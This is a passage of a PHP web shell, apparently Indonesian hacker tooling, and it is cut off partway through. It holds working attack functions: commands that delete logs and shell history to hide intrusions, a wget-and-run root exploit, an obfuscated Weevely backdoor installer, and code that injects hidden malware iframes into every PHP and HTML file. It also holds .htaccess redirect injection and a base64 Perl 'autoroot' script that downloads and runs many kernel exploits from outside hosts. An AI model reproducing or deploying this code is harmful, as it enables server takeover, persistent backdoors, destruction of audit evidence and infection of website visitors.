	passthru("rm -rf /usr/local/apache/log");
	passthru("rm -rf /var/apache/logs");
	passthru("rm -rf /var/apache/log");
	passthru("rm -rf /var/run/utmp");
	passthru("rm -rf /var/logs");
	passthru("rm -rf /var/log");
	passthru("rm -rf /var/adm");
	passthru("rm -rf /etc/wtmp");
	passthru("rm -rf /etc/utmp");
	passthru("rm -rf $HISTFILE");
	passthru("rm -rf /var/log/lastlog");
	passthru("rm -rf /var/log/wtmp");


	system("rm -rf /tmp/logs");
	sleep(2);
	echo'<p>Deleting .../tmp/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
	sleep(2);

	system("rm -rf /root/.bash_history");
	sleep(2);
	echo'<p>Deleting .../root/.bash_history <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

	system("rm -rf /root/.ksh_history");
	sleep(2);
	echo'<p>Deleting .../root/.ksh_history <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

	system("rm -rf /root/.bash_logout");
	sleep(2);
	echo'<p>Deleting .../root/.bash_logout <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

	system("rm -rf /usr/local/apache/logs");
	sleep(2);
	echo'<p>Deleting .../usr/local/apache/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

	system("rm -rf /usr/local/apache/log");
	sleep(2);
	echo'<p>Deleting .../usr/local/apache/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

	system("rm -rf /var/apache/logs");
	sleep(2);
	echo'<p>Deleting .../var/apache/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

	system("rm -rf /var/apache/log");
	sleep(2);
	echo'<p>Deleting .../var/apache/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

	system("rm -rf /var/run/utmp");
	sleep(2);
	echo'<p>Deleting .../var/run/utmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

	system("rm -rf /var/logs");
	sleep(2);
	echo'<p>Deleting .../var/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

	system("rm -rf /var/log");
	sleep(2);
	echo'<p>Deleting .../var/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

	system("rm -rf /var/adm");
	sleep(2);
	echo'<p>Deleting .../var/adm <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

	system("rm -rf /etc/wtmp");
	sleep(2);
	echo'<p>Deleting .../etc/wtmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

	system("rm -rf /etc/utmp");
	sleep(2);
	echo'<p>Deleting .../etc/utmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

	system("rm -rf $HISTFILE");
	sleep(2);
	echo'<p>Deleting ...$HISTFILE <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>'; 

	system("rm -rf /var/log/lastlog");
	sleep(2);
	echo'<p>Deleting .../var/log/lastlog <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

	system("rm -rf /var/log/wtmp");
	sleep(2);
	echo'<p>Deleting .../var/log/wtmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

	sleep(4);

	echo '<p><i>Your Traces Has Been Successfully Deleting ...From the Server</i></p><br>';
	echo '</center>';
    echo '</table></td></tr>';
}
if($_GET['do'] == 'r00t') {
echo"<center>
<form method='post'>
<h3>Just Work In Kernel -2016</h3>
Login: ( ssh azzatssins@".$ip." ) or ( su azzatssins )<br><br>
New Password: <input type='text' name='passwd' value='17081945'>
<input type=submit name=azzzt value='Root!'></form></center>";
if($_POST['azzzt']) {
exe("wget https://raw.githubusercontent.com/cyberserkers/root/master/azx && chmod +x azx && ./azx ".$_POST['passwd']);
}}
function success($for, $var1) {
    $domain = $_SERVER['HTTP_HOST'];
    $script = $_SERVER['SCRIPT_NAME'];
    $full_url = $_SERVER['REQUEST_URI'];
	if ($for == "weevely") {
        $message = "<center><font color='lime'>Weevely installed!</font></center>";
        $redirect = "";
    }
if (empty($redirect)) {
echo "<script>
function remove (){
document.getElementById('content').innerHTML='';
}
setInterval(function(){remove();}, 2700);
</script>";
} else {
	echo "<script>
function remove (){
 window.location = '$redirect'
}
setInterval(function(){remove();}, 2500);
</script>";
    }
}
function error($mesg) {
    $error = "<center><font color='red'>$mesg</font></center>";
    echo "$error";
}
if (isset($_GET['weevely'])) {
    echo "<center><h3>Weevely Backdoor</h3>
<form action='' method='post'>
Directory to install weevely backdoor:<br>
<input type='text' name='weev_dir' size='50' class='text' value='$dir'><br>
Name of file (something .php):<br>
<input type='text' name='weev_name' class='text' value='weevely.php'><br>
Password (more than 3 characters):<br>
<input type='text' name='weev_pass' class='text'><br>
<input type='submit' name='install_weev' value='Backdoor!'><br>
</font>
</center>";
}
if (isset($_POST['install_weev'])) {
    $weevdir = rtrim($_POST['weev_dir'], '/');;
    $weevname = $_POST['weev_name'];
    $weevpassword = $_POST['weev_pass'];
    if (strlen($weevpassword) < 3) {
        error("Password must be longer than 3 characters!");
    } else {
        $first2 = $weevpassword[0] . $weevpassword[1];
        $rest = substr($weevpassword, 2);
        $money = "$";
        $weevelybd1 = base64_decode('ZnVuY3Rpb24gd2VldmVseSgpIHsNCiRjPSdjb3VudCc7DQokYT0kX0NPT0tJRTs=');
        $weevelybd2 = "if(reset($money" . "a)=='" . $first2 . "' && $money" . "c($money" . "a)>3) {";
        $weevelybd3 = "$money" . "k='$rest';";
        $weevelybd4 = base64_decode('ZWNobyAnPCcuJGsuJz4nOw0KZXZhbChiYXNlNjRfZGVjb2RlKHByZWdfcmVwbGFjZShhcnJheSgnL1teXHc9XHNdLycsJy9ccy8nKSwgYXJyYXkoJycsJysnKSwgam9pbihhcnJheV9zbGljZSgkYSwkYygkYSktMykpKSkpOw0KZWNobyAnPC8nLiRrLic+JzsNCn0NCn0NCndlZXZlbHkoKTs=');
        $all = "<?php eval(base64_decode('" . base64_encode($weevelybd1 . $weevelybd2 . $weevelybd3 . $weevelybd4) . "')); ?>";
        if (file_put_contents($weevdir . '/' . $weevname, $all)) {
            echo "<center><font color='lime'>Weevely installed!<br><br>Usage: weevely [URL of backdoor] [password]</font></center>";
            success("weevely");
        } else {
            error("Failed to write backdoor to $weevdir");
        }
    }
}
elseif($_GET['do'] == 'malware')
    { 
@ini_set('output_buffering', 0); {
?>
<form action="" method="post">
    <center>
<h3>Malware Tools</h3>
<font color="red">Private Network / Dial Up Modem ,PC Private , ato Home PC / NETWORK</font>&nbsp;(Ojo digawe goblok!!)<br><br>
    <input class='kotak' type='submit' name='redirect' value="Redirect Search Engine To Malware Site" /></td><td>
    <input type='submit' class='kotak' name='infect' value="Infect User" /></td><tr></table>
        <input type='submit' name='code' class='kotak' value="Code Insert" /></td><tr></table>
</center><br>

<?php
        if (isset($_POST['redirect'])) if ($myfile = fopen(".htaccess", 'a')) {
            fwrite($myfile, gzuncompress(base64_decode($mal)));
            fwrite($myfile, "

");
            fclose($myfile);
            ob_end_flush();
        } else echo "<script>alert('Malware Ga ke kirim Jancookk'); hideAll();</script>";
    }   if (isset($_POST['infect'])) {
        $coun = 0;
        $str = "<iframe width=0px height=0px frameborder=no name=frame1 src=" . $malsite . "> </iframe>";
        foreach (glob($_GET['dir'] . $directorysperator . "*.php") as $injectj00) {
            if ($myfile = fopen($injectj00, 'a')) {
                fputs($myfile, $str);
                fclose($myfile);
            } else $coun = 1;
        }
        foreach (glob($_GET['dir'] . $directorysperator . "*.htm") as $injectj00) {
            if ($myfile = fopen($injectj00, 'a')) {
                fputs($myfile, $str);
                fclose($myfile);
            } else $coun = 1;
        }
        foreach (glob($_GET['dir'] . $directorysperator . "*.html") as $injectj00) {
            if ($myfile = fopen($injectj00, 'a')) {
                fputs($myfile, $str);
                fclose($myfile);
            } else $coun = 1;
        }
        if ($coun == 0) echo "<script>alert('Malware Infect In user ... DONE...!!!!'); hideAll();</script>";
        else echo "<script>alert('Malware Ga ke kirim Jancookk'); hideAll();</script>";
    }
    if (!isset($_POST['code'])) {
        if ($file1 = fopen(".htaccess", 'r')) {
        } else echo "<script>alert('Malware Ga ke kirim Jancookk'); hideAll();</script>";
    } else {
        if ($myfile = fopen(".htaccess", 'a')) {
            fwrite($myfile, $_POST['code']);
            fwrite($myfile, "

");
            fclose($myfile);
            ob_end_flush();
        } else echo "Permission Denied";
    }
}
elseif($_GET['do'] == 'masschm') {
/*
Chmod Mass File and Folder
Cod3d by Mr.xBarakuda
v1.1
*/

// inisialisasi variabel gan
$dosPerm = "0";
$ficPerm = "0";
$retval = "0"; // jumlah error CHMOD gan

 // jalur folder untuk diproses disini
    $chem = preg_replace("/[^_A-Za-z0-9-\.%\/]/i",'', $_POST["chemin"]);
    $chem = preg_replace("/\.\.\//",'', $chem);
    define('ABSPATH', dirname(__FILE__));
    $chem = ABSPATH.$chem; // Directory normal nya :v

// perijinan/hak folder
    $d1 = preg_replace("/[^57]/",'', $_POST["dir1"]);
    $d2 = preg_replace("/[^057]/",'', $_POST["dir2"]);
    $d3 = preg_replace("/[^057]/",'', $_POST["dir3"]);
    $dosPerm = "0".$d1.$d2.$d3;
    $dosPerm = octdec($dosPerm);
// perijinan/hak file
    $f1 = preg_replace("/[^46]/i",'', $_POST["fic1"]);
    $f2 = preg_replace("/[^046]/i",'', $_POST["fic2"]);
    $f3 = preg_replace("/[^046]/i",'', $_POST["fic3"]);
    $ficPerm = "0".$f1.$f2.$f3;
    $ficPerm = octdec($ficPerm);

    print "<html><meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />";
    print "<body><center><h3>CHMOD Mass File and Folder by Mr.xBarakuda</h3>";
    print "<table><tr><td>";
    print "<form method=\"post\">";
    print "<tr><td>Hak Folder: </td>";
    print "<td><select name=\"dir1\"><option value=\"5\">5</option><option value=\"7\" selected>7</option></select><select name=\"dir2\"><option value=\"0\">0</option><option value=\"5\" selected>5</option><option value=\"7\">7</option></select><select name=\"dir3\"><option value=\"0\">0</option><option value=\"5\" selected>5</option><option value=\"7\">7</option></select></td></tr>";
    print "<tr><td>Hak File: </td>";
    print "<td><select name=\"fic1\"><option value=\"4\">4</option><option value=\"6\" selected>6</option></select><select name=\"fic2\"><option value=\"0\">0</option><option value=\"4\" selected>4</option><option value=\"6\">6</option></select><select name=\"fic3\"><option value=\"0\">0</option><option value=\"4\" selected>4</option><option value=\"6\">6</option></select></td></tr>";
    print "<tr><td>CWD =></td>";
    print "<td>".ABSPATH." <input type=\"text\" name=\"chemin\" maxlength=\"80\" size=\"30\" value=\"/\" ></td></tr>";
    print "<tr><td> </td><td><input type=\"submit\" value=\" Change Permissions! \"></center>";
    print "</form>";
    print "</td></tr></table>";
if ( ($dosPerm||$ficPerm) > 0 ){

    function rChmod($chem,$dosPerm,$ficPerm) {
        echo "<p><b>Result:</b></p>
";

        $d = new RecursiveDirectoryIterator($chem);
        $d ->setFlags(RecursiveDirectoryIterator::SKIP_DOTS);
        foreach (new RecursiveIteratorIterator($d, 1) as $path) {
            $chmodret = false;
            $chmodresultat = "";
            if ( $path->isDir() ) {
            $chmodret = chmod( $path, $dosPerm ); }
            else {
            if ( is_file( $path )  ) {
            $chmodret = chmod( $path, $ficPerm ); }
            }
            if ($chmodret) {$chmodresultat = "<font color=lime>[+] SUKSES [+]</font>"; }
            else {
                $chmodresultat = "<font color=red>[-] ERROR [-]</font>";
                ++$retval;
                }
            echo $chmodresultat . " " . $path . "<br>
";
        }
    return $retval;
    }
    $nbfailed = rChmod($chem,$dosPerm,$ficPerm);
    echo "<p><b>";
    if ($nbfailed > 0) {
        echo $nbfailed . "<font color=red>CHMOD error, liat kesalahan diatas</font>";
        }
    else echo "<font color=lime>DONE gan :v</font></p>
";
}
    print "</body></html>";
}
elseif($_GET['do'] == 'base64pict') {
  /*
  ** Convert Gambar ke Base64
  ** Coded By Mr.xBarakuda
  */
  function imageBase64FromURL($url){
  $urlParts = pathinfo($url);
  $extension = $urlParts['extension'];
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  $response = curl_exec($ch);
  curl_close($ch);
  $base64 = 'data:image/'.$extension.';base64,'.base64_encode($response);
  return $base64;
  }
  echo '
  <center>
    <h3>Base64 Encode Gambar</h3>
    <p style="color:red;">Coded By Mr.xBarakuda</p>
    <form method="post">
      URL Gambar: </font>
      <input type="text" name="urlGambar" size="50" height="10" placeholder="http://kudagans.go.id/gue_gans.jpg" style="margin: 5px auto; padding-right: 5px;" required>
      <input type="submit" name="encode" value="Encode">
    </form>
    ';
    $urlGambar = $_POST['urlGambar'];
    $encode = $_POST['encode'];
    $encodeGambar = imageBase64FromURL($urlGambar);
    echo "
    <textarea cols='100' rows='23'>".$encodeGambar."</textarea>
    ";
    echo "
    <br>
  </center>";
  }
elseif($_GET['do'] == 'w00t'){
print'<center>';
print'<h3>Autoroot Generator Coded By Mauritania Attacker</h3>';
print'<b>Special Greet To HusseiN98D</b><br>';
print'<b>2005 - 2013</b>';
print"<p align='center'><img border='0' src='http://www.spirit-of-metal.com/les%20goupes/R/Root/pics/logo.jpg'></p>";
@error_reporting(0);
sleep(2);
print "<p><b>Script Autoroot Perl Extracted Successfully...!</b></p><br>";
//generate autoroot script perl
mkdir('kuda_root',0755);
$shellw0rm = 'cHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0KcHJpbnQgIiAgICAgICAgIEFub25HaG9zdCBTbTRzaCBhdXRvIHIwMHQgICAgICAgICAgXG4iOw0KcHJpbnQgIiAgICAgICAgICAgICAgICAgMjAwNSAtIDIwMTMgICAgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIiAgICAgX19fX19fXyAgX19fX19fXyAgX19fX19fXyBfX19fX19fX18gICAgXG4iOw0KcHJpbnQgIiAgICAoICBfX19fICkoICBfXyAgICkoICBfXyAgIClcX18gICBfXy8gICAgXG4iOw0KcHJpbnQgIiAgICB8ICggICAgKXx8ICggICkgIHx8ICggICkgIHwgICApICggICAgICAgXG4iOw0KcHJpbnQgIiAgICB8IChfX19fKXx8IHwgLyAgIHx8IHwgLyAgIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8ICAgICBfXyl8ICgvIC8pIHx8ICgvIC8pIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8IChcICggICB8ICAgLyB8IHx8ICAgLyB8IHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8ICkgXCBcX198ICAoX18pIHx8ICAoX18pIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8LyAgIFxfXy8oX19fX19fXykoX19fX19fXykgICApXyggICAgICAgXG4iOw0KcHJpbnQgIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJCSAgIENvZGVkIGJ5IEh1c3NlaU45OEQgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJCQkgICAgIDE5LzA4LzIwMTQJCSAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IGxpbnV4ICwgcGVybCAkMCBsbnggICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IEJzZCAsICBwZXJsICQwIGJzZCAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IFN1bk9TICwgcGVybCAkMCBzdW5vcyAgICAgICAgXG4iOw0KcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0KDQoNCmlmICgkQVJHVlswXSA9fiAibG54IiApDQp7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgIFJvb3RpbmcgbGludXggICAgICAgICAgI1xuIjsNCnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0Kc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBsbng7Y2QgbG54Iik7DQpwcmludCAiWytdIFdhaXQuLlxuIjsNCg0Kc3lzdGVtKCJ3Z2V0IHd3dy50dXgtcGxhbmV0LmZyL3B1YmxpYy9oYWNrL2V4cGxvaXRzL2tlcm5lbC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsNCnN5c3RlbSgiZ2NjIC1vIGdheXJvcyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGdheXJvcyIpOw0Kc3lzdGVtKCIuL2dheXJvcyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgd3d3LnR1eC1wbGFuZXQuZnIvcHVibGljL2hhY2svZXhwbG9pdHMva2VybmVsL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdC5jIik7DQpzeXN0ZW0oImdjYyAtbyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQgdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0LmMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHZtc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCIuL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L3gyIik7DQpzeXN0ZW0oImNobW9kIDc3NyB4MiIpOw0Kc3lzdGVtKCIuL3gyIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngveCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgeCIpOw0Kc3lzdGVtKCIuL3giKTsNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvdXNlbGliMjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHVzZWxpYjI0Iik7DQpzeXN0ZW0oIi4vdXNlbGliMjQiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9yb290MiIpOw0Kc3lzdGVtKCJjaG1vZCA3Nzcgcm9vdDIiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCIuL3Jvb3QyIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L2ttb2QyIik7DQpzeXN0ZW0oImNobW9kIDc3NyBrbW9kMiIpOw0Kc3lzdGVtKCIuL2ttb2QyIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgaDAwbHlzaGl0Iik7DQpzeXN0ZW0oIi4vaDAwbHlzaGl0Iik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZXhwLnNoIik7DQpzeXN0ZW0oImNobW9kIDc1NSBleHAuc2giKTsNCnN5c3RlbSgic2ggZXhwLnNoIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZWxmbGJsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBlbGZsYmwiKTsNCnN5c3RlbSgiLi9lbGZsYmwiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9jdzcuMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgY3c3LjMiKTsNCnN5c3RlbSgiLi9jdzcuMyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtMzc0LjEyLjEuZWw1LTIwMTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0yNzQtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtNi14ODYtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgiLi8yLjYuMTgtNi14ODYtMjAxMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3Qvdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsNCnN5c3RlbSgiLi92bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIwMTEgTG9jYWxSb290IEZvciAyLjYuMTgtMTI4LmVsNSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7DQpzeXN0ZW0oIi4vMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMyIpOw0Kc3lzdGVtKCIuLzIuNi4zMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMzLTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNC0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMSIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzQtMjAxMUV4cGxvaXQxIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMUV4cGxvaXQxIik7DQpzeXN0ZW0oIi4vMi42LjM0LTIwMTFFeHBsb2l0MSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExRXhwbG9pdDIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM3Iik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNy1yYzIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zNy1yYzIiKTsNCnN5c3RlbSgiLi8yLjYuMzctcmMyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC96MWQtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgejFkLTIwMTEiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMjAxMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMS0yIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxLTIiKTsNCnN5c3RlbSgiLi8xLTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEtMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMS0zIik7DQpzeXN0ZW0oIi4vMS0zIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xLTQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDEtNCIpOw0Kc3lzdGVtKCIuLzEtNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDEwIik7DQpzeXN0ZW0oIi4vMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxMSIpOw0Kc3lzdGVtKCIuLzExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xMiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMTIiKTsNCnN5c3RlbSgiLi8xMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE0Iik7DQpzeXN0ZW0oIi4vMTQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE1LnNoIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNS5zaCIpOw0Kc3lzdGVtKCIuLzE1LnNoIik7DQpzeXN0ZW0oIm